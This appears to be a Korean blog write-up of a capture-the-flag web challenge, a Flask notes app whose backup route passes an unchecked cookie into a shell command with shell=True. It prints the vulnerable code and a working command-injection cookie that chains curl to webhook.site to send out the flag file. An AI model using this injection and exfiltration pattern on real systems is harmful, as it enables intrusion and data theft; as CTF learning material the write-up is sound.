![]()
이제는 취약점 유형도 안알려줌 ㅠ
![]()
이렇게 crud가 구현된 노트 서비스다.
신기하게도 backup 기능이 있다.
![]()
들어가보니 404 에러가 난다.
#!/usr/bin/env python3
import subprocess
import threading
import time
from flask import Flask, make_response, redirect, request, abort, render_template, url_for
app = Flask(__name__)
lock = threading.Lock()
new_note_id = 0
notes = {}
def create_note(content):
global new_note_id
with lock:
note_id = new_note_id
new_note_id += 1
notes[note_id] = content
return notes[note_id]
def read_note(note_id):
with lock:
return notes[note_id]
def update_note(note_id, content):
with lock:
notes[note_id] = content
return notes[note_id]
def delete_note(note_id):
with lock:
del notes[note_id]
def backup_notes(timestamp):
with lock:
with open('./tmp/notes.tmp', 'w') as f:
f.write(repr(notes))
subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)
@app.route('/', methods=['GET'])
def get_index():
return render_template('notes.html', notes=notes)
@app.route('/notes', methods=['GET'])
def get_notes():
return render_template('notes.html', notes=notes)
@app.route('/create_note', methods=['GET'])
def get_create_note():
return render_template('create_note.html')
@app.route('/create_note', methods=['POST'])
def post_create_note():
content = request.form.get('content')
if not isinstance(content, str):
abort(400)
create_note(content)
return redirect(url_for('get_index'))
@app.route('/update_note', methods=['GET'])
def post_update_note():
if len(notes) == 0:
abort(404)
return render_template('update_note.html')
@app.route('/update_note', methods=['POST'])
def get_update_note():
note_id = request.form.get('note_id')
if not isinstance(note_id, str) or not note_id.isdigit():
abort(400)
note_id = int(note_id)
if note_id not in notes:
abort(404)
content = request.form.get('content')
if not isinstance(content, str):
abort(400)
update_note(note_id, content)
return redirect(url_for('get_index'))
@app.route('/delete_note', methods=['GET'])
def get_delete_note():
if len(notes) == 0:
abort(404)
return render_template('delete_note.html')
@app.route('/delete_note', methods=['POST'])
def post_delete_note():
note_id = request.form.get('note_id')
if not isinstance(note_id, str) or not note_id.isdigit():
abort(400)
note_id = int(note_id)
if note_id not in notes:
abort(404)
delete_note(note_id)
return redirect(url_for('get_index'))
@app.route('/backup_notes', methods=['GET'])
def get_backup_notes():
print(len(notes), flush=True)
if len(notes) == 0:
abort(404)
page = render_template('backup_notes.html')
resp = make_response(page)
resp.set_cookie('backup-timestamp', f'{time.time()}')
return resp
@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
if len(notes) == 0:
abort(404)
backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
if not isinstance(backup_timestamp, str):
abort(400)
backup_notes(backup_timestamp)
return redirect(url_for('get_index'))
겁나게 길다.
한참동안 붙잡고 보니 역시나 의심스러웠던 backup_notes이 부분에서 취약점이 발견되었다.
def backup_notes(timestamp):
with lock:
with open('./tmp/notes.tmp', 'w') as f:
f.write(repr(notes))
subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)
@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
if len(notes) == 0:
abort(404)
backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
if not isinstance(backup_timestamp, str):
abort(400)
backup_notes(backup_timestamp)
return redirect(url_for('get_index'))
이 부분에서 사용자의 backup-timestamp 쿠키를 검사하지 않고 바로 {timestamp} 부분에 집어넣고 shell=True가 되있다.
따라서 cmd injection 공격이 가능하다.
하지만 노트가 하나 이상 있어야지 backup_notes에 접근이 가능하니 하나를 써줬다.
![]()
![]()
burp suite repeater로 쿠키 부분을
Cookie: backup-timestamp=123456&&curl https://webhook.site/10631fc9-6a00-4ef3-a413-f9f116457289/?data=$(cat flag) 이렇게 변조해서 보냈다.
![]()
webhook.site로 플래그가 왔다.
맨날 다른사람 풀이 보고 풀다가 오랜만에 내 힘으로 문제를 풀어서 뿌듯했다.